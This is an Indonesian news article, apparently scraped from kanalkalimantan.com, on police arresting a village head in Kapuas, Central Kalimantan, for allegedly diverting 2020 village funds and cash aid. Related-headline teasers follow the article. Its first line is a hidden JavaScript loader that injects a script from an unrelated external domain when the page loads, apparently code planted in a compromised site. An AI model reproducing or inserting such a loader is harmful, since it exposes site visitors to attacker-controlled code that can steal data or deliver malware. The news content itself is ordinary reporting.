(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Kepala Desa (Kades) Pantai, J alias W (34) ditangkap Kepolisian Resort (Polres) Kapuas .
W terseret kasus dugaan tindak pidana korupsi pada pengelolaan Dana Desa di Desa Pantai tahun anggaran 2020 di Kecamatan Kapuas Barat, Kabupaten Kapuas, Provinsi Kalteng.
Kapolres Kapuas AKBP Manang Soebeti didampingi Kasat Reskrim AKP Kristanto Situmeang menjelaskan kronologi kasus tindak pidana koruspsi yang menyeret W pasa konferensi pers di aula Mapolres Kapuas, Senin (2/8/2021), bahwa terlapor J alias W (34) telah menyelewengkan Dana Desa Pantai tahun anggaran 2020 untuk kepentingan pribadi.
Baca juga: Keefektifan Vaksin Sinovac Susut Setelah 6 Bulan, Apakah Pemerintah Akan Berikan Booster?
“Dana Desa sebesar Rp 927.101.000, dan dana Silpa 2019 sebesar Rp 104.914.500 untuk kegiatan fisik dan non fisik yang dikelola sendiri oleh W selaku Kepala Desa Pantai. Dana itu ternyata digunakan untuk keperluan pribadi, sehingga kegiatan-kegiatan yang menggunakan anggaran tersebut tidak terlaksana,” kata Kapolres Kapuas.
Baca juga: Dinihari, Empat Rumah Dilalap Api di Kuripan Banjarmasin
Salah satu kegiatan Non fisik yang disalahgunakan oleh W adalah penyaluran Bantuan Langsung Tunai Dana Desa (BLT DD) dengan jumlah pagu anggaran sebesar Rp 418.500.000. Seharusnya disalurkan enam tahap kepada 155 KPM (Keluarga Penerima Manfaat) di Desa Pantai, namun hanya disalurkan satu tahap. Sehingga anggaran BLT DD yang tidak disalurkan oleh W sebesar Rp 312.300.000, diduga telah dipergunakan untuk kepentingan pribadi.
“Berdasarkan hasil audit penghitungan kerugian keuangan negara oleh BPKP Perwakilan Kalteng perbuatan W selaku Kepala Desa Pantai tersebut telah merugikan keuangan negara sebesar Rp 791.074.500,” beber Kapolres Kapuas.
Atas perbuatannya tersebut, W ditetapkan sebagai tersangka dengan Pasal yang disangkakan Pasal 2 ayat (1) atau Pasal 3 Jo Pasal 18 UU Tindak Pidana Korupsi. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Tongkat kepemimpinan tertinggi Kepala Kepolisian Resor (Polres) Banjarbaru secara resmi dipegang AKBP… Read More
Paman Birin Belum Ada Dalam List Saksi KPK Read More
KANALKALIMANTAN.COM - Liburan panjang akhir bulan jadi momen yang dinanti-nantikan oleh banyak orang. Saat itu,… Read More
Hanya Perlu 1 Suara untuk Menang pada Pilwali Banjarbaru 2024 Read More
KANALKALIMANTAN.COM, BANJARBARU - Belum beroperasi Angkutan Pelajar Gratis (APG) di sejumlah sekolah di Banjarbaru di… Read More
KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More
This website uses cookies.